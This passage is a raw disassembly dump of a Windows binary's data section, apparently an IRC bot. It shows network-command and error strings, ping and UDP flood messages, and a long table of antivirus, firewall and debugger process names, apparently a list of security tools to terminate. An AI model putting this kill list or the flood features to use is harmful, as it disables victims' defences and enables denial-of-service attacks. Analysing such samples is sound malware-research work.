DATA XREF: sub_40AC44:loc_40AC9Do align 10h aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40AC44:loc_40AC93o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40AC44:loc_40AC89o align 10h aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40AC44:loc_40AD53o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40AC44+89o align 4 aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40AC44:loc_40ACD7o align 10h aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40AC44:loc_40ACE1o aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40AC44:loc_40AD4Co align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40AC44+CFo db ' the domain.',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40AC44:loc_40AD21o align 10h aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40AC44:loc_40AD1Ao align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40AC44:loc_40AD28o db 'ord policy requirement.)',0 align 10h aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40AC44:loc_40AD61o align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40AC44:loc_40ACEFo aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40AC44:loc_40AD5Ao align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40AC44:loc_40AD45o align 4 aNetMessageSent db '[NET]: Message sent successfully.',0 ; DATA XREF: sub_40AD78+81o align 4 aNetSServerSMes db '[NET]: %s <Server: %S> <Message: %S>',0 ; DATA XREF: sub_40AD78+ABo align 10h a__0: ; DATA XREF: .text:0040AE6Bo unicode 0, <.>,0 a__1: ; DATA XREF: .text:0040AE83o unicode 0, <.>,0 aFlushdnsErro_0 db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0 ; DATA XREF: sub_40AF08+8Co align 4 aFlushdnsUnable db '[FLUSHDNS]: Unable to allocation ARP cache.',0 ; DATA XREF: sub_40AF08:loc_40AF9Bo aFlushdnsArpCac db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_40AF08:loc_40AF61o aFlushdnsNotSup db '[FLUSHDNS]: Not supported by this system.',0 ; DATA XREF: sub_40AF08:loc_40AFCDo align 4 aFlushdnsErrorG db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0 ; DATA XREF: sub_40AF08+43o align 4 aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AFEC+46o aPingErrorSendi db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_40B0E5+6Eo align 4 aPingFinishedSe db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_40B0E5+13Co align 10h aUdpErrorSendin db '[UDP]: Error sending pings to %s.',0 ; DATA XREF: sub_40B271+8Eo align 4 aUdpFinishedSen db '[UDP]: Finished sending packets to %s.',0 ; DATA XREF: sub_40B271+1C6o align 4 dword_43B33C dd 7530h ; DATA XREF: sub_40B84A+12r off_43B340 dd offset aAckwin32_exe ; DATA XREF: sub_40B4F2+CBo ; "ACKWIN32.EXE" dd offset aAdaware_exe ; "ADAWARE.EXE" dd offset aAdvxdwin_exe ; "ADVXDWIN.EXE" dd offset aAgentsvr_exe ; "AGENTSVR.EXE" dd offset aAgentw_exe ; "AGENTW.EXE" dd offset aAlertsvc_exe ; "ALERTSVC.EXE" dd offset aAlevir_exe ; "ALEVIR.EXE" dd offset aAlogserv_exe ; "ALOGSERV.EXE" dd offset aAmon9x_exe ; "AMON9X.EXE" dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE" dd offset aAntivirus_exe ; "ANTIVIRUS.EXE" dd offset aAnts_exe ; "ANTS.EXE" dd offset aApimonitor_exe ; "APIMONITOR.EXE" dd offset aAplica32_exe ; "APLICA32.EXE" dd offset aApvxdwin_exe ; "APVXDWIN.EXE" dd offset aArr_exe ; "ARR.EXE" dd offset aAtcon_exe ; "ATCON.EXE" dd offset aAtguard_exe ; "ATGUARD.EXE" dd offset aAtro55en_exe ; "ATRO55EN.EXE" dd offset aAtupdater_exe ; "ATUPDATER.EXE" dd offset aAtupdater_ex_0 ; "ATUPDATER.EXE" dd offset aAtwatch_exe ; "ATWATCH.EXE" dd offset aAu_exe ; "AU.EXE" dd offset aAupdate_exe ; "AUPDATE.EXE" dd offset aAupdate_exe_0 ; "AUPDATE.EXE" dd offset aAutodown_exe ; "AUTODOWN.EXE" dd offset aAutodown_exe_0 ; "AUTODOWN.EXE" dd offset aAutotrace_exe ; "AUTOTRACE.EXE" dd offset aAutotrace_ex_0 ; "AUTOTRACE.EXE" dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE" dd offset aAutoupdate_e_0 ; "AUTOUPDATE.EXE" dd offset aAvconsol_exe ; "AVCONSOL.EXE" dd offset aAve32_exe ; "AVE32.EXE" dd offset aAvgcc32_exe ; "AVGCC32.EXE" dd offset aAvgctrl_exe ; "AVGCTRL.EXE" dd offset aAvgnt_exe ; "AVGNT.EXE" dd offset aAvgserv_exe ; "AVGSERV.EXE" dd offset aAvgserv9_exe ; "AVGSERV9.EXE" dd offset aAvguard_exe ; "AVGUARD.EXE" dd offset aAvgw_exe ; "AVGW.EXE" dd offset aAvkpop_exe ; "AVKPOP.EXE" dd offset aAvkserv_exe ; "AVKSERV.EXE" dd offset aAvkservice_exe ; "AVKSERVICE.EXE" dd offset aAvkwctl9_exe ; "AVKWCTl9.EXE" dd offset aAvltmain_exe ; "AVLTMAIN.EXE" dd offset aAvnt_exe ; "AVNT.EXE" dd offset aAvp_exe ; "AVP.EXE" dd offset aAvp32_exe ; "AVP32.EXE" dd offset aAvpcc_exe ; "AVPCC.EXE" dd offset aAvpdos32_exe ; "AVPDOS32.EXE" dd offset aAvpm_exe ; "AVPM.EXE" dd offset aAvptc32_exe ; "AVPTC32.EXE" dd offset aAvpupd_exe ; "AVPUPD.EXE" dd offset aAvpupd_exe_0 ; "AVPUPD.EXE" dd offset aAvsched32_exe ; "AVSCHED32.EXE" dd offset aAvsynmgr_exe ; "AVSYNMGR.EXE" dd offset aAvwin95_exe ; "AVWIN95.EXE" dd offset aAvwinnt_exe ; "AVWINNT.EXE" dd offset aAvwupd_exe ; "AVWUPD.EXE" dd offset aAvwupd32_exe ; "AVWUPD32.EXE" dd offset aAvwupd32_exe_0 ; "AVWUPD32.EXE" dd offset aAvwupsrv_exe ; "AVWUPSRV.EXE" dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE" dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE" dd offset aAvxquar_exe ; "AVXQUAR.EXE" dd offset aAvxquar_exe_0 ; "AVXQUAR.EXE" dd offset aBackweb_exe ; "BACKWEB.EXE" dd offset aBargains_exe ; "BARGAINS.EXE" dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE" dd offset aBeagle_exe ; "BEAGLE.EXE" dd offset aBelt_exe ; "BELT.EXE" dd offset aBidef_exe ; "BIDEF.EXE" dd offset aBidserver_exe ; "BIDSERVER.EXE" dd offset aBipcp_exe ; "BIPCP.EXE" dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE" dd offset aBisp_exe ; "BISP.EXE" dd offset aBlackd_exe ; "BLACKD.EXE" dd offset aBlackice_exe ; "BLACKICE.EXE" dd offset aBlss_exe ; "BLSS.EXE" dd offset aBootconf_exe ; "BOOTCONF.EXE" dd offset aBootwarn_exe ; "BOOTWARN.EXE" dd offset aBorg2_exe ; "BORG2.EXE" dd offset aBpc_exe ; "BPC.EXE" dd offset aBrasil_exe ; "BRASIL.EXE" dd offset aBs120_exe ; "BS120.EXE" dd offset aBundle_exe ; "BUNDLE.EXE" dd offset aBvt_exe ; "BVT.EXE" dd offset aCcapp_exe ; "CCAPP.EXE" dd offset aCcevtmgr_exe ; "CCEVTMGR.EXE" dd offset aCcpxysvc_exe ; "CCPXYSVC.EXE" dd offset aCdp_exe ; "CDP.EXE" dd offset aCfd_exe ; "CFD.EXE" dd offset aCfgwiz_exe ; "CFGWIZ.EXE" dd offset aCfiadmin_exe ; "CFIADMIN.EXE" dd offset aCfiaudit_exe ; "CFIAUDIT.EXE" dd offset aCfiaudit_exe_0 ; "CFIAUDIT.EXE" dd offset aCfinet_exe ; "CFINET.EXE" dd offset aCfinet32_exe ; "CFINET32.EXE" dd offset aClaw95cf_exe ; "CLAW95CF.EXE" dd offset aClean_exe ; "CLEAN.EXE" dd offset aCleaner_exe ; "CLEANER.EXE" dd offset aCleaner3_exe ; "CLEANER3.EXE" dd offset aCleanpc_exe ; "CLEANPC.EXE" dd offset aClick_exe ; "CLICK.EXE" dd offset aCmd32_exe ; "CMD32.EXE" dd offset aCmesys_exe ; "CMESYS.EXE" dd offset aCmgrdian_exe ; "CMGRDIAN.EXE" dd offset aCmon016_exe ; "CMON016.EXE" dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE" dd offset aCpd_exe ; "CPD.EXE" dd offset aCpf9x206_exe ; "CPF9X206.EXE" dd offset aCpfnt206_exe ; "CPFNT206.EXE" dd offset aCtrl_exe ; "CTRL.EXE" dd offset aCv_exe ; "CV.EXE" dd offset aCwnb181_exe ; "CWNB181.EXE" dd offset aCwntdwmo_exe ; "CWNTDWMO.EXE" dd offset aClaw95_exe ; "Claw95.EXE" dd offset aClaw95cf_exe_0 ; "CLAW95CF.EXE" dd offset aDatemanager_ex ; "DATEMANAGER.EXE" dd offset aDcomx_exe ; "DCOMX.EXE" dd offset aDefalert_exe ; "DEFALERT.EXE" dd offset aDefscangui_exe ; "DEFSCANGUI.EXE" dd offset aDefwatch_exe ; "DEFWATCH.EXE" dd offset aDeputy_exe ; "DEPUTY.EXE" dd offset aDivx_exe ; "DIVX.EXE" dd offset aDllcache_exe ; "DLLCACHE.EXE" dd offset aDllreg_exe ; "DLLREG.EXE" dd offset aDoors_exe ; "DOORS.EXE" dd offset aDpf_exe ; "DPF.EXE" dd offset aDpfsetup_exe ; "DPFSETUP.EXE" dd offset aDpps2_exe ; "DPPS2.EXE" dd offset aDrwatson_exe ; "DRWATSON.EXE" dd offset aDrweb32_exe ; "DRWEB32.EXE" dd offset aDrwebupw_exe ; "DRWEBUPW.EXE" dd offset aDssagent_exe ; "DSSAGENT.EXE" dd offset aDvp95_exe ; "DVP95.EXE" dd offset aDvp95_0_exe ; "DVP95_0.EXE" dd offset aEcengine_exe ; "ECENGINE.EXE" dd offset aEfpeadm_exe ; "EFPEADM.EXE" dd offset aEmsw_exe ; "EMSW.EXE" dd offset aEnt_exe ; "ENT.EXE" dd offset aEsafe_exe ; "ESAFE.EXE" dd offset aEscanh95_exe ; "ESCANH95.EXE" dd offset aEscanhnt_exe ; "ESCANHNT.EXE" dd offset aEscanv95_exe ; "ESCANV95.EXE" dd offset aEspwatch_exe ; "ESPWATCH.EXE" dd offset aEthereal_exe ; "ETHEREAL.EXE" dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE" dd offset aEvpn_exe ; "EVPN.EXE" dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE" dd offset aExe_avxw_exe ; "EXE.AVXW.EXE" dd offset aExpert_exe ; "EXPERT.EXE" dd offset aExplore_exe ; "EXPLORE.EXE" dd offset aFAgnt95_exe ; "F-AGNT95.EXE" dd offset aFProt_exe ; "F-PROT.EXE" dd offset aFProt95_exe ; "F-PROT95.EXE" dd offset aFStopw_exe ; "F-STOPW.EXE" dd offset aFameh32_exe ; "FAMEH32.EXE" dd offset aFast_exe ; "FAST.EXE" dd offset aFch32_exe ; "FCH32.EXE" dd offset aFih32_exe ; "FIH32.EXE" dd offset aFindviru_exe ; "FINDVIRU.EXE" dd offset aFirewall_exe ; "FIREWALL.EXE" dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE" dd offset aFnrb32_exe ; "FNRB32.EXE" dd offset aFpWin_exe ; "FP-WIN.EXE" dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE" dd offset aFprot_exe ; "FPROT.EXE" dd offset aFrw_exe ; "FRW.EXE" dd offset aFsaa_exe ; "FSAA.EXE" dd offset aFsav_exe ; "FSAV.EXE" dd offset aFsav32_exe ; "FSAV32.EXE" dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE" dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE" dd offset aFsav95_exe ; "FSAV95.EXE" dd offset aFsgk32_exe ; "FSGK32.EXE" dd offset aFsm32_exe ; "FSM32.EXE" dd offset aFsma32_exe ; "FSMA32.EXE" dd offset aFsmb32_exe ; "FSMB32.EXE" dd offset aGator_exe ; "GATOR.EXE" dd offset aGbmenu_exe ; "GBMENU.EXE" dd offset aGbpoll_exe ; "GBPOLL.EXE" dd offset aGenerics_exe ; "GENERICS.EXE" dd offset aGmt_exe ; "GMT.EXE" dd offset aGuard_exe ; "GUARD.EXE" dd offset aGuarddog_exe ; "GUARDDOG.EXE" dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE" dd offset aHbinst_exe ; "HBINST.EXE" dd offset aHbsrv_exe ; "HBSRV.EXE" dd offset aHotactio_exe ; "HOTACTIO.EXE" dd offset aHotpatch_exe ; "HOTPATCH.EXE" dd offset aHtlog_exe ; "HTLOG.EXE" dd offset aHtpatch_exe ; "HTPATCH.EXE" dd offset aHwpe_exe ; "HWPE.EXE" dd offset aHxdl_exe ; "HXDL.EXE" dd offset aHxiul_exe ; "HXIUL.EXE" dd offset aIamapp_exe ; "IAMAPP.EXE" dd offset aIamserv_exe ; "IAMSERV.EXE" dd offset aIamstats_exe ; "IAMSTATS.EXE" dd offset aIbmasn_exe ; "IBMASN.EXE" dd offset aIbmavsp_exe ; "IBMAVSP.EXE" dd offset aIcload95_exe ; "ICLOAD95.EXE" dd offset aIcloadnt_exe ; "ICLOADNT.EXE" dd offset aIcmon_exe ; "ICMON.EXE" dd offset aIcsupp95_exe ; "ICSUPP95.EXE" dd offset aIcsupp95_exe_0 ; "ICSUPP95.EXE" dd offset aIcsuppnt_exe ; "ICSUPPNT.EXE" dd offset aIdle_exe ; "IDLE.EXE" dd offset aIedll_exe ; "IEDLL.EXE" dd offset aIedriver_exe ; "IEDRIVER.EXE" dd offset aIexplorer_exe ; "IEXPLORER.EXE" dd offset aIface_exe ; "IFACE.EXE" dd offset aIfw2000_exe ; "IFW2000.EXE" dd offset aInetlnfo_exe ; "INETLNFO.EXE" dd offset aInfus_exe ; "INFUS.EXE" dd offset aInfwin_exe ; "INFWIN.EXE" dd offset aInit_exe ; "INIT.EXE" dd offset aIntdel_exe ; "INTDEL.EXE" dd offset aIntren_exe ; "INTREN.EXE" dd offset aIomon98_exe ; "IOMON98.EXE" dd offset aIparmor_exe ; "IPARMOR.EXE" dd offset aIris_exe ; "IRIS.EXE" dd offset aIsass_exe ; "ISASS.EXE" dd offset aIsrv95_exe ; "ISRV95.EXE" dd offset aIstsvc_exe ; "ISTSVC.EXE" dd offset aJammer_exe ; "JAMMER.EXE" dd offset aJdbgmrg_exe ; "JDBGMRG.EXE" dd offset aJedi_exe ; "JEDI.EXE" dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE" dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE" dd offset aKavpf_exe ; "KAVPF.EXE" dd offset aKazza_exe ; "KAZZA.EXE" dd offset aKeenvalue_exe ; "KEENVALUE.EXE" dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE" dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE" dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE" dd offset aKernel32_exe ; "KERNEL32.EXE" dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE" dd offset aLauncher_exe ; "LAUNCHER.EXE" dd offset aLdnetmon_exe ; "LDNETMON.EXE" dd offset aLdpro_exe ; "LDPRO.EXE" dd offset aLdpromenu_exe ; "LDPROMENU.EXE" dd offset aLdscan_exe ; "LDSCAN.EXE" dd offset aLnetinfo_exe ; "LNETINFO.EXE" dd offset aLoader_exe ; "LOADER.EXE" dd offset aLocalnet_exe ; "LOCALNET.EXE" dd offset aLockdown_exe ; "LOCKDOWN.EXE" dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE" dd offset aLookout_exe ; "LOOKOUT.EXE" dd offset aLordpe_exe ; "LORDPE.EXE" dd offset aLsetup_exe ; "LSETUP.EXE" dd offset aLuall_exe ; "LUALL.EXE" dd offset aLuall_exe_0 ; "LUALL.EXE" dd offset aLuau_exe ; "LUAU.EXE" dd offset aLucomserver_ex ; "LUCOMSERVER.EXE" dd offset aLuinit_exe ; "LUINIT.EXE" dd offset aLuspt_exe ; "LUSPT.EXE" dd offset aMapisvc32_exe ; "MAPISVC32.EXE" dd offset aMcagent_exe ; "MCAGENT.EXE" dd offset aMcmnhdlr_exe ; "MCMNHDLR.EXE" dd offset aMcshield_exe ; "MCSHIELD.EXE" dd offset aMctool_exe ; "MCTOOL.EXE" dd offset aMcupdate_exe ; "MCUPDATE.EXE" dd offset aMcupdate_exe_0 ; "MCUPDATE.EXE" dd offset aMcvsrte_exe ; "MCVSRTE.EXE" dd offset aMcvsshld_exe ; "MCVSSHLD.EXE" dd offset aMd_exe ; "MD.EXE" dd offset aMfin32_exe ; "MFIN32.EXE" dd offset aMfw2en_exe ; "MFW2EN.EXE" dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE" dd offset aMgavrtcl_exe ; "MGAVRTCL.EXE" dd offset aMgavrte_exe ; "MGAVRTE.EXE" dd offset aMghtml_exe ; "MGHTML.EXE" dd offset aMgui_exe ; "MGUI.EXE" dd offset aMinilog_exe ; "MINILOG.EXE" dd offset aMmod_exe ; "MMOD.EXE" dd offset aMonitor_exe ; "MONITOR.EXE" dd offset aMoolive_exe ; "MOOLIVE.EXE" dd offset aMostat_exe ; "MOSTAT.EXE" dd offset aMpfagent_exe ; "MPFAGENT.EXE" dd offset aMpfservice_exe ; "MPFSERVICE.EXE" dd offset aMpftray_exe ; "MPFTRAY.EXE" dd offset aMrflux_exe ; "MRFLUX.EXE" dd offset aMsapp_exe ; "MSAPP.EXE" dd offset aMsbb_exe ; "MSBB.EXE" dd offset aMsblast_exe ; "MSBLAST.EXE" dd offset aMscache_exe ; "MSCACHE.EXE" dd offset aMsccn32_exe ; "MSCCN32.EXE" dd offset aMscman_exe ; "MSCMAN.EXE" dd offset aMsconfig_exe ; "MSCONFIG.EXE" dd offset aMsdm_exe ; "MSDM.EXE" dd offset aMsdos_exe ; "MSDOS.EXE" dd offset aMsiexec16_exe ; "MSIEXEC16.EXE" dd offset aMsinfo32_exe ; "MSINFO32.EXE" dd offset aMslaugh_exe ; "MSLAUGH.EXE" dd offset aMsmgt_exe ; "MSMGT.EXE" dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE" dd offset aMssmmc32_exe ; "MSSMMC32.EXE" dd offset aMssys_exe ; "MSSYS.EXE" dd offset aMsvxd_exe ; "MSVXD.EXE" dd offset aMu0311ad_exe ; "MU0311AD.EXE" dd offset aMwatch_exe ; "MWATCH.EXE" dd offset aN32scanw_exe ; "N32SCANW.EXE" dd offset aNav_exe ; "NAV.EXE" dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE" dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE" dd offset aNavapsvc_exe ; "NAVAPSVC.EXE" dd offset aNavapw32_exe ; "NAVAPW32.EXE" dd offset aNavdx_exe ; "NAVDX.EXE" dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE" dd offset aNavlu32_exe ; "NAVLU32.EXE" dd offset aNavnt_exe ; "NAVNT.EXE" dd offset aNavstub_exe ; "NAVSTUB.EXE" dd offset aNavw32_exe ; "NAVW32.EXE" dd offset aNavwnt_exe ; "NAVWNT.EXE" dd offset aNc2000_exe ; "NC2000.EXE" dd offset aNcinst4_exe ; "NCINST4.EXE" dd offset aNdd32_exe ; "NDD32.EXE" dd offset aNeomonitor_exe ; "NEOMONITOR.EXE" dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE" dd offset aNetarmor_exe ; "NETARMOR.EXE" dd offset aNetd32_exe ; "NETD32.EXE" dd offset aNetinfo_exe ; "NETINFO.EXE" dd offset aNetmon_exe ; "NETMON.EXE" dd offset aNetscanpro_exe ; "NETSCANPRO.EXE" dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE" dd offset aNetstat_exe ; "NETSTAT.EXE" dd offset aNetutils_exe ; "NETUTILS.EXE" dd offset aNisserv_exe ; "NISSERV.EXE" dd offset aNisum_exe ; "NISUM.EXE" dd offset aNmain_exe ; "NMAIN.EXE" dd offset aNod32_exe ; "NOD32.EXE" dd offset aNormist_exe ; "NORMIST.EXE" dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE" dd offset aNotstart_exe ; "NOTSTART.EXE" dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE" dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE" dd offset aNprotect_exe ; "NPROTECT.EXE" dd offset aNpscheck_exe ; "NPSCHECK.EXE" dd offset aNpssvc_exe ; "NPSSVC.EXE" dd offset aNsched32_exe ; "NSCHED32.EXE" dd offset aNssys32_exe ; "NSSYS32.EXE" dd offset aNstask32_exe ; "NSTASK32.EXE" dd offset aNsupdate_exe ; "NSUPDATE.EXE" dd offset aNt_exe ; "NT.EXE" dd offset aNtrtscan_exe ; "NTRTSCAN.EXE" dd offset aNtvdm_exe ; "NTVDM.EXE" dd offset aNtxconfig_exe ; "NTXconfig.EXE" dd offset aNui_exe ; "NUI.EXE" dd offset aNupgrade_exe ; "NUPGRADE.EXE" dd offset aNupgrade_exe_0 ; "NUPGRADE.EXE" dd offset aNvarch16_exe ; "NVARCH16.EXE" dd offset aNvc95_exe ; "NVC95.EXE" dd offset aNvsvc32_exe ; "NVSVC32.EXE" dd offset aNwinst4_exe ; "NWINST4.EXE" dd offset aNwservice_exe ; "NWSERVICE.EXE" dd offset aNwtool16_exe ; "NWTOOL16.EXE" dd offset aOllydbg_exe ; "OLLYDBG.EXE" dd offset aOnsrvr_exe ; "ONSRVR.EXE" dd offset aOptimize_exe ; "OPTIMIZE.EXE" dd offset aOstronet_exe ; "OSTRONET.EXE" dd offset aOtfix_exe ; "OTFIX.EXE" dd offset aOutpost_exe ; "OUTPOST.EXE" dd offset aOutpost_exe_0 ; "OUTPOST.EXE" dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE" dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE" dd offset aPadmin_exe ; "PADMIN.EXE" dd offset aPanixk_exe ; "PANIXK.EXE" dd offset aPatch_exe ; "PATCH.EXE" dd offset aPavcl_exe ; "PAVCL.EXE" dd offset aPavproxy_exe ; "PAVPROXY.EXE" dd offset aPavsched_exe ; "PAVSCHED.EXE" dd offset aPavw_exe ; "PAVW.EXE" dd offset aPcc2002s902_ex ; "PCC2002S902.EXE" dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE" dd offset aPcciomon_exe ; "PCCIOMON.EXE" dd offset aPccntmon_exe ; "PCCNTMON.EXE" dd offset aPccwin97_exe ; "PCCWIN97.EXE" dd offset aPccwin98_exe ; "PCCWIN98.EXE" dd offset aPcdsetup_exe ; "PCDSETUP.EXE" dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE" dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE" dd offset aPcscan_exe ; "PCSCAN.EXE" dd offset aPdsetup_exe ; "PDSETUP.EXE" dd offset aPenis_exe ; "PENIS.EXE" dd offset aPeriscope_exe ; "PERISCOPE.EXE" dd offset aPersfw_exe ; "PERSFW.EXE" dd offset aPerswf_exe ; "PERSWF.EXE" dd offset aPf2_exe ; "PF2.EXE" dd offset aPfwadmin_exe ; "PFWADMIN.EXE" dd offset aPgmonitr_exe ; "PGMONITR.EXE" dd offset aPingscan_exe ; "PINGSCAN.EXE" dd offset aPlatin_exe ; "PLATIN.EXE" dd offset aPop3trap_exe ; "POP3TRAP.EXE" dd offset aPoproxy_exe ; "POPROXY.EXE" dd offset aPopscan_exe ; "POPSCAN.EXE" dd offset aPortdetective_ ; "PORTDETECTIVE.EXE" dd offset aPortmonitor_ex ; "PORTMONITOR.EXE" dd offset aPowerscan_exe ; "POWERSCAN.EXE" dd offset aPpinupdt_exe ; "PPINUPDT.EXE" dd offset aPptbc_exe ; "PPTBC.EXE" dd offset aPpvstop_exe ; "PPVSTOP.EXE" dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE" dd offset aPrmt_exe ; "PRMT.EXE" dd offset aPrmvr_exe ; "PRMVR.EXE" dd offset aProcdump_exe ; "PROCDUMP.EXE" dd offset aProcessmonitor ; "PROCESSMONITOR.EXE" dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE" dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE" dd offset aProport_exe ; "PROPORT.EXE" dd offset aProtectx_exe ; "PROTECTX.EXE" dd offset aPspf_exe ; "PSPF.EXE" dd offset aPurge_exe ; "PURGE.EXE" dd offset aPussy_exe ; "PUSSY.EXE" dd offset aPview95_exe ; "PVIEW95.EXE" dd offset aQconsole_exe ; "QCONSOLE.EXE" dd offset aQserver_exe ; "QSERVER.EXE" dd offset aRapapp_exe ; "RAPAPP.EXE" dd offset aRav7_exe ; "RAV7.EXE" dd offset aRav7win_exe ; "RAV7WIN.EXE" dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE" dd offset aRay_exe ; "RAY.EXE" dd offset aRb32_exe ; "RB32.EXE" dd offset aRcsync_exe ; "RCSYNC.EXE" dd offset aRealmon_exe ; "REALMON.EXE" dd offset aReged_exe ; "REGED.EXE" dd offset aRegedit_exe ; "REGEDIT.EXE" dd offset aRegedt32_exe ; "REGEDT32.EXE" dd offset aRescue_exe ; "RESCUE.EXE" dd offset aRescue32_exe ; "RESCUE32.EXE" dd offset aRrguard_exe ; "RRGUARD.EXE" dd offset aRshell_exe ; "RSHELL.EXE" dd offset aRtvscan_exe ; "RTVSCAN.EXE" dd offset aRtvscn95_exe ; "RTVSCN95.EXE" dd offset aRulaunch_exe ; "RULAUNCH.EXE" dd offset aRun32dll_exe ; "RUN32DLL.EXE" dd offset aRundll_exe ; "RUNDLL.EXE" dd offset aRundll16_exe ; "RUNDLL16.EXE" dd offset aRuxdll32_exe ; "RUXDLL32.EXE" dd offset aSafeweb_exe ; "SAFEWEB.EXE" dd offset aSahagent_exe ; "SAHAGENT.EXE" dd offset aSave_exe ; "SAVE.EXE" dd offset aSavenow_exe ; "SAVENOW.EXE" dd offset aSbserv_exe ; "SBSERV.EXE" dd offset aSc_exe ; "SC.EXE" dd offset aScam32_exe ; "SCAM32.EXE" dd offset aScan32_exe ; "SCAN32.EXE" dd offset aScan95_exe ; "SCAN95.EXE" dd offset aScanpm_exe ; "SCANPM.EXE" dd offset aScrscan_exe ; "SCRSCAN.EXE" dd offset aScrsvr_exe ; "SCRSVR.EXE" dd offset aScvhost_exe ; "SCVHOST.EXE" dd offset aSd_exe ; "SD.EXE" dd offset aServ95_exe ; "SERV95.EXE" dd offset aService_exe ; "SERVICE.EXE" dd offset aServlce_exe ; "SERVLCE.EXE" dd offset aServlces_exe ; "SERVLCES.EXE" dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE" dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE" dd offset aSfc_exe ; "SFC.EXE" dd offset aSgssfw32_exe ; "SGSSFW32.EXE" dd offset aSh_exe ; "SH.EXE" dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE" dd offset aShn_exe ; "SHN.EXE" dd offset aShowbehind_exe ; "SHOWBEHIND.EXE" dd offset aSmc_exe ; "SMC.EXE" dd offset aSms_exe ; "SMS.EXE" dd offset aSmss32_exe ; "SMSS32.EXE" dd offset aSoap_exe ; "SOAP.EXE" dd offset aSofi_exe ; "SOFI.EXE" dd offset aSperm_exe ; "SPERM.EXE" dd offset aSpf_exe ; "SPF.EXE" dd offset aSphinx_exe ; "SPHINX.EXE" dd offset aSpoler_exe ; "SPOLER.EXE" dd offset aSpoolcv_exe ; "SPOOLCV.EXE" dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE" dd offset aSpyxx_exe ; "SPYXX.EXE" dd offset aSrexe_exe ; "SREXE.EXE" dd offset aSrng_exe ; "SRNG.EXE" dd offset aSs3edit_exe ; "SS3EDIT.EXE" dd offset aSsgrate_exe ; "SSGRATE.EXE" dd offset aSsg_4104_exe ; "SSG_4104.EXE" dd offset aSt2_exe ; "ST2.EXE" dd offset aStart_exe ; "START.EXE" dd offset aStcloader_exe ; "STCLOADER.EXE" dd offset aSupftrl_exe ; "SUPFTRL.EXE" dd offset aSupport_exe ; "SUPPORT.EXE" dd offset aSupporter5_exe ; "SUPPORTER5.EXE" dd offset aSvc_exe ; "SVC.EXE" dd offset aSvchostc_exe ; "SVCHOSTC.EXE" dd offset aSvchosts_exe ; "SVCHOSTS.EXE" dd offset aSvshost_exe ; "SVSHOST.EXE" dd offset aSweep95_exe ; "SWEEP95.EXE" dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE" dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE" dd offset aSymtray_exe ; "SYMTRAY.EXE" dd offset aSysedit_exe ; "SYSEDIT.EXE" dd offset 